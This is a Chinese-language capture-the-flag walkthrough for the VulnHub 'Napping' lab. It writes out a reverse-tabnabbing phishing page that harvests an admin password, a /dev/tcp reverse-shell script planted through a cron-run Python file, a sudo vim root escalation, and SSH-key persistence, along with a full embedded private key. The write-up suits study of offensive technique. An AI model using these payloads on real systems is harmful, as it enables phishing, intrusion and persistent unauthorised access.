靶机下载地址:https://www.vulnhub.com/entry/napping-101,752/
教程链接地址:https://readysetexploit.gitlab.io/home/vulnhub/napping/
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 NAPPING:桥接于 192.168.31.1 的网卡,ip 未知
- 通过 netdiscover 扫描当前网卡里边有哪些机器
sudo netdiscover -i eth0 -r 192.168.31.0/24
![]()
- 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描
1 2 3 4 5
| # shell cat > myip.txt << EOF 192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33 192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44 EOF
|
- netdiscover 未发现目标主机,nmap 进一步扫描,判断目标 IP
sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt
![]()
-> 目标机器的 ip 地址: 192.168.31.170
# 端口扫描
sudo nmap -A -p 1-1024 192.168.31.170 - oN /tmp/napping.txt
# 钓鱼攻击 web
打开网站:http://192.168.31.170/
- 观察页面可进行注册并且登陆账号
- 对此网站进行目录扫描
dirsearch -u http://192.168.31.170
3)观察登陆后的网站,发现存在跳转漏洞
审查源代码之后,存在 target=’_blank’ 的代码,可进行利用
![]()
target=’_blank’漏洞利用:https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing
![Image]()
-> 观察页面可知,管理员会执行页面上输入的 url 地址
- 接受访问着的用户名和密码并发送给 4444 端口,钓鱼管理员
1 2
| wget http://192.168.31.170/index.php cat index.php && mv index.php index.html
|
![]()
现在该站点表明该页面的管理员将查看我们的链接,管员看到的是我们伪造的和对方 index.html 一样的界面,管员有可能认为自己的账号被注销会重新输入账户密码,而由于这是我们构造的界面,对方输入的信息将会被我们所监听。
evil.html 的作用是重定向,本来的网址是 http://192.168.31.135/evil.html 但是访问
的这个文件之后将被重定向为 http://192.168.31.135:4444/index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| cat > evil.html <<EOF <!DOCTYPE html> <html> <head> <title>My Blog</title> </head> <body> <script> if(window.opener) window.opener.parent.location.replace('http://192.168.31.135:4444/index.html'); if(window.opener != window) window.opener.parent.location.replace('http://192.168.31.135:4444/index.html'); </script> </body> </html> EOF
|
![]()
提交指向我们 evil.html 链接
然后点击链接
我们将转到我们的 evil.html
但是原始标签将转到我们的 index.html,它看起来与登录页面完全相同
确保 Python 服务器在端口 80 和 4444 上运行
- 钓鱼攻击,等待鱼儿上钩
启动 80 端口的 http 服务: python3 -m http.server 80
开启 80 服务后,对方可以访问到 http://192.168.31.135/evil.html 并且访问的这
个文件之后将被重定向为 http://192.168.31.135:4444/index.html
-> 我们从 4444 端口处监听以便捕捉到对方的用户名和密码!
nc -lvvp 4444
-> 获得管理员账户:daniel 密码:C@ughtm3napping
注意这里的 %40 是 url 编码的 @
# 定时任务反弹 shell
- 得到账号密码,可以登入服务器,ssh daniel@192.168.31.170
- 观察 /home 文件,分析可提权的文件
1 2 3
| cat query.py cat site_status.txt | head -n 10 tail -n 10 site_status.txt
|
对方有一个定时任务,用来检测网站是否正常,如果正常的话,会将日志打印出来,这里我们以 adrian 这个用户执行反弹该用户权限的 shell.
1 2 3 4 5 6
| # /dev/shm/是linux下一个非常有用的目录,因为这个目录不在硬盘上,而是在内存里。 cat > /dev/shm/shell.sh << EOF #! /bin/bash bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1' EOF chmod +x /dev/shm/shell.sh
|
1 2 3 4 5
| # 在query.py中添加此命令,用来执行反弹shell的命令: cat >> query.py << EOF import os os.system('/usr/bin/bash /dev/shm/shell.sh') EOF
|
1 2 3 4 5 6 7
| # 监听 4444 端口,等待定时任务被执行,shell成功反弹出来 nc - lvvp 4444
# 通过下面的命令来把终端标准一点显示: python3 -c 'import pty;pty.spawn("/bin/bash")' then press Ctrl+Z stty raw -echo;fg then press ENTER twice export TERM=xterm
|
# vim-shell 提权
列出用户权限或检查特定命令
sudo -l
这里发现有可调用 root 执行无密码的 vim 命令
![]()
提权超级丰富的网址:https://gtfobins.github.io/
1 2 3
| 直接写一个 vim shell sudo vim -c ‘:!/bin/sh’ 表示以root权限去写vim shell python3 -c 'import pty;pty.spawn("/bin/bash")'
|
# 篡改 authorized_keys 维权
靶机:
1 2 3 4 5 6 7 8 9 10
| # 给靶机打印公钥 echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCysSKgDq+5dEpirNHGl2j+ceqNRQHnSAHgQ3zsKqmUn9iyks 5L07z9Y34OEvUsYAxsFgdLtdD+MxufPPQwj8a77hmcqWguq5EmJUiZ7fA/peddvGR9Q5ypMpkuMFm2W2gIg kVG+b4XPCQ0ydC9gn8ac7dReeMIykcD+vcQgpvHniK45rqAJJwbnb9MxNGDuPQHlSCSGA3FtHayNNsAmC +ek1m2Qk3oVUF/8XGnjHvw2fMTog8h41Se8lYgHLDf8o4IibuOxxxpNVYOIgUZ0Ahvg9+srGvzquDS/yqXDf 06aBGHj+ISjOZ9wrB/Qmg3ArylKCaRk8UztsXg4gkCKiGiAynYY/EqNzXAuR42A1lby+kf9FUwSXGp8wdRG YVc3yOWQm+lHy5Ov1RqdSCsMMYkyqAOV+2weoRki9iONN8h7YVWX9hBoVPpRiLKDfG3aLkjRVyPrpx +qVHNo8rYHI9zjiTAhM/PJFarLhMEg+e3AvbEPBCN6p5lmO3lAdXX40= root@earth' >> ~/.ssh/authorized_keys
|
攻击机:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| # 给攻击机打印私钥,注意私钥里边的第一行不能有空行 echo ' -----BEGIN OPENSSH PRIVATE KEY----- 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 PJaNWLEHEcEcOTAAAACnJvb3RAZWFydGg= -----END OPENSSH PRIVATE KEY----- ' >> ~/.ssh/vulnhub
|
![]()
1 2 3
| # 利用ssh私钥登录 chmod 700 ~/.ssh/vulnhub ssh root@192.168.31.170 -i ~/.ssh/vulnhub
|
-> 成功登陆到了对方服务器